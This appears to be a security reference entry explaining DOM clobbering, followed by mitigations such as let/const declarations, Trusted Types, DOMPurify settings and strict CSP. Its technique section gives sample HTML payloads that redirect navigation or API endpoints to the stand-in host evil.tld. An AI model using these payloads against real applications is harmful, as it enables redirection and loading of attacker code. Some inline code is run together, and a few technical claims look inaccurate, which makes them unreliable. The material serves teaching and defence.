DOM clobbering
TL;DR: HTML elements with
idornameattributes become global JS properties; injecting<a id=foo>shadowswindow.fooand breaks code that read-checks a global before using it.
What it is
The HTML spec exposes named elements as properties of document and (for forms) of window — <a id="foo"> makes window.foo reference that anchor. If application JavaScript does if (window.config) { ... } else { var config = {url: '/default'} } or let url = window.cfg?.url || '/safe', an attacker who can inject HTML — even sanitised HTML that drops <script> — can clobber the global and steer code into attacker-controlled URLs, eval gadgets, or sanitiser bypasses.
Preconditions / where it applies
- A markup injection sink that allows tag attributes (typical: stored comments, profile bios, markdown renderers, MS Office HTML conversion).
- Application JS that reads from
window.X,document.X, orwindow.X.Ywithoutvar/letinitialisation, OR a sanitiser library (DOMPurify pre-2.4) that allowsid/name. - The clobbered global is used as a URL, function reference, or template (chain into dom-xss, ssrf, open-redirect).
Technique
Simple single-level clobber — shadow window.foo:
1
2
3
4
5
<a id="foo" href="https://evil.tld/x"></a>
<script>
// vulnerable code
location = window.foo; // navigates to evil.tld/x
</script>
Nested clobber — shadow window.cfg.endpoint. Use a form with named children:
1
2
3
4
5
<form id="cfg">
<input name="endpoint" value="https://evil.tld/api">
</form>
<!-- now window.cfg.endpoint == the input element -->
<!-- and String(window.cfg.endpoint) coerces to the value attribute via toString tricks -->
Deeper nesting via <form> + <iframe name>:
1
2
<form id="a"><output id="b" name="c">x</output></form>
<!-- window.a.b == output element; window.a.b.value == "x" -->
Real-world wins:
- Clobber
window.SOMELIB_CONFIG.cdnto point a JS loader at attacker code (executes via<script src>). - Clobber
document.currentScript.srcto swap a same-origin gadget into the next eval. - Bypass sanitiser allowlists — DOMPurify CVE-2024-45801, 2020-26870 chain on
id/nameto overwrite the sanitiser’s own internal config.
GitHub Pages, Bootstrap docs, and several markdown renderers have shipped DOM-clobbering RCE in the past 3 years.
Detection and defence
- Declare every global with
let/constat module top; never rely onwindow.Xfor trust decisions. - Use Trusted Types (trusted-types-bypass) to force string coercion and reveal the wrong types early.
- Sanitiser: deny
idandnameon user-supplied HTML, or use DOMPurify withSANITIZE_DOM: trueandSANITIZE_NAMED_PROPS: true. - Strict CSP (
script-src 'self'nounsafe-inline) so a clobbered loader URL still cannot run cross-origin scripts. - Audit: grep for
window\.anddocument\.accesses on the dynamic side of the codebase.
References
- PortSwigger – DOM clobbering — definitions and labs
- Heyes – DOM clobbering strikes back — modern primitives and DOMPurify bypasses
- HTML Living Standard – named access — normative behaviour